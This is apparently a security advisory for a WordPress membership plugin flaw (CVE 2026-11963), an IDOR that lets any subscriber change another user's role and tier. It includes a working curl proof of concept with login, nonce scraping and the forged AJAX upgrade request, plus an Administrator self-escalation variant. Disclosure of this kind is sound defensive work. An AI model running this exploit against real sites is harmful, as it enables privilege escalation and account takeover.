User Registration & Membership < 5.2.2 – Subscriber+ Cross-User Role and Membership Tier Modification via IDOR | CVE 2026-11963

Description

The plugin does not perform an authorization check on a membership-upgrade action and derives the user to modify from a caller-supplied identifier instead of the current user, allowing any authenticated user such as a subscriber to change another user's WordPress role and membership tier.

Proof of Concept

ENVIRONMENT PREPARATION (one-time admin setup via the plugin UI)
- Activate the Membership module.
- Create at least two Free membership tiers mapped to DIFFERENT roles, e.g. "Basic" (role: Subscriber) and "Premium" (role: a distinct role such as premium_member). On the source ("Basic") tier, configure an upgrade path that allows upgrading to the destination ("Premium") tier.
- Publish a page containing the [user_registration_membership_listing] shortcode.
- Have a victim member with an active subscription. The attacker needs the victim's subscription ID, which is a small sequential integer (an attacker iterates/guesses it).
- Attacker is any Subscriber-level account with its own subscription.

EXPLOIT (authenticated as a Subscriber, over HTTP)

```bash
BASE="https://victim.example"; COOKIES=/tmp/c.txt

# 1) Log in as the attacker (any subscriber)
curl -ks -c "$COOKIES" "$BASE/wp-login.php" -o /dev/null
curl -ks -b "$COOKIES" -c "$COOKIES" -L "$BASE/wp-login.php" \
  --data-urlencode 'log=subscriber' --data-urlencode 'pwd=password' \
  --data-urlencode 'wp-submit=Log In' --data-urlencode 'testcookie=1' -o /dev/null

# 2) Scrape the upgrade-membership nonce from the public listing shortcode page
#    (localized into the page for any logged-in user, no role gate)
NONCE=$(curl -ks -b "$COOKIES" -L "$BASE/membership-listing/" \
  | grep -oE '"upgrade_membership_nonce":"[a-f0-9]+"' | head -1 \
  | grep -oE '[a-f0-9]+"$' | tr -d '"')

# 3) Fire the cross-user upgrade.
#    current_subscription_id = the VICTIM's subscription ID;
#    selected_membership_id  = a destination tier reachable from current_membership_id's upgrade path.
curl -ks -b "$COOKIES" -X POST "$BASE/wp-admin/admin-ajax.php" \
  --data-urlencode "action=user_registration_membership_upgrade_membership" \
  --data-urlencode "security=$NONCE" \
  --data-urlencode "current_subscription_id=<VICTIM_SUB_ID>" \
  --data-urlencode "selected_membership_id=<DEST_TIER_ID>" \
  --data-urlencode "current_membership_id=<SOURCE_TIER_ID_WITH_UPGRADE_PATH>" \
  --data-urlencode "selected_pg=free" --data-urlencode "upgrade=1"
```

EXPECTED RESULT
The response names the victim, e.g. `{"success":true,"data":{"is_upgrading":true,"member_id":<VICTIM_ID>,"username":"<victim>","updated_membership_title":"Premium Tier","selected_membership_id":<DEST_TIER_ID>}}`. The victim's `wp_capabilities`/role is rewritten to the destination tier's role and their subscription tier is changed, while the attacker's own role and subscription row are untouched, proving the affected user was derived from the attacker-supplied subscription ID and never compared to the current user.

SELF-ESCALATION VARIANT (non-default config)
Because both `current_subscription_id` and `current_membership_id` are attacker-supplied and decoupled, the attacker can target their OWN subscription ID and pass `selected_membership_id` of any tier reachable from some configured upgrade path. If a tier mapped to a higher-privileged role (e.g. Administrator) is the destination of any configured upgrade path, the attacker escalates their own account to that role (Subscriber to Administrator full takeover). The role selector accepts the Administrator role, so this configuration is reachable entirely through the plugin UI, but it is non-default.